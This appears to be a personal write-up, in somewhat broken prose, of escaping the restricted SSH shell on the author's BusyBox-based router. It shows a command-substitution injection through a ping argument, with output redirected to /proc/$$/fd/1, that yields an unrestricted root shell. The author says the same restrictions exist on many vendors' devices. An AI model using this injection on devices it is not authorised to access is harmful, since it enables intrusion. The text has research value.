There is a lot of articles out there that talks about breaking these kind of environments, I’ve read nearly every single one of them to get to know all other techniques that can defeat the defenses of my new router restricted shell, However none of them worked for against this defense ‘style’. A couple of useful articles that i recommend :
> uptime | sh Warning: operator | is not supported! 0D 5H 12M 25S > vi sshd:error:751.266:processInput:490:unrecognized command vi > nc sshd:error:772.496:processInput:490:unrecognized command nc > & Warning: operator & is not supported! sshd:error:797.249:processInput:490:unrecognized command > ping `sh` 22.214.171.124 Warning: operator ` is not supported! ping $(ls) 126.96.36.199 BusyBox v1.17.2 (2015-12-09 17:59:39 CST) multi-call binary. ...
Help command outputs all available commands here is what i got list, So no pipes, no netcat, no substitution with backticks nor ampersands, Interestingly the dollar sign is not prohibited which should be another well supported substitution convention
$(..) I didn’t get any error indicating that one of those characters are not supported although
ls output didn’t get printed, all i got was the usual ping help message, But the absence of the ‘not supported’ message was suspecious enough to keep me going on that road until !
> ping $(echo bingo) ping: bad address 'bingo'
$(..) is actually working, But where is the output is the output ?
> ping $(ls w) ls: w: No such file or directory BusyBox v1.17.2 (2015-12-09 17:59:39 CST) multi-call binary.
The problem seems to be in the
ls actually got printed, So it’s
stdout must be buried somewhere else, That’s it
> ping $(ls / > /proc/$$/fd/1) bin dev lib mnt proc sys usr webs data etc linuxrc opt sbin tmp var BusyBox v1.17.2 (2015-12-09 17:59:39 CST) multi-call binary.
So i redirected ls output to the current process stdout, But we still have the restricted rules that prevents some valuable characters, How about ?
> ping $(sh > /proc/$$/fd/1) BusyBox v1.17.2 (2015-12-09 17:59:39 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. #
And we’re officially inside the house, We can now run any command without any kind of restrictions, Let’s dump some informative data
# mount rootfs on / type rootfs (rw) /dev/root on / type squashfs (ro,relatime) proc on /proc type proc (rw,relatime) tmpfs on /var type tmpfs (rw,relatime,size=640k) tmpfs on /mnt type tmpfs (rw,relatime,size=16k) sysfs on /sys type sysfs (rw,relatime) # cat /proc/mtd dev: size erasesize name mtd0: 0046f000 0046f000 "Physically mapped flash" # cat /proc/filesystems nodev sysfs nodev rootfs nodev bdev nodev proc nodev sockfs nodev pipefs nodev tmpfs nodev devpts squashfs nodev ramfs
After about 2 min i got
sshd:error:742.849:prctl_runCommandInShellWithTimeout:174:prctl_collect failed, ret=9809; and automatically i found myself locked again inside the parent restricted shell but worse i wasn’t able to start a new sub-shell with the trick we did in fact i couldn’t even run the available commands, I’ve found this repo it seems that it is the actual code running behind our restricted shell, This repo also looks interesting it’s mentioned in the first code, We can see that it is indeed limiting our sub-processes a specific amount of time (only 120s) then it sends a
SIGTERM to request the process for termination. However the only way to launch that unrestricted shell again was by restarting the whole session from the beginning. So i wrote this script, it catches that timeout error and reconnect to our unrestricted sub-shell automatically, it will fit any similar situation, It’s pretty basic.
This very same restricted shell rules are implemented in many other devices from different manufactures/companies all over the world.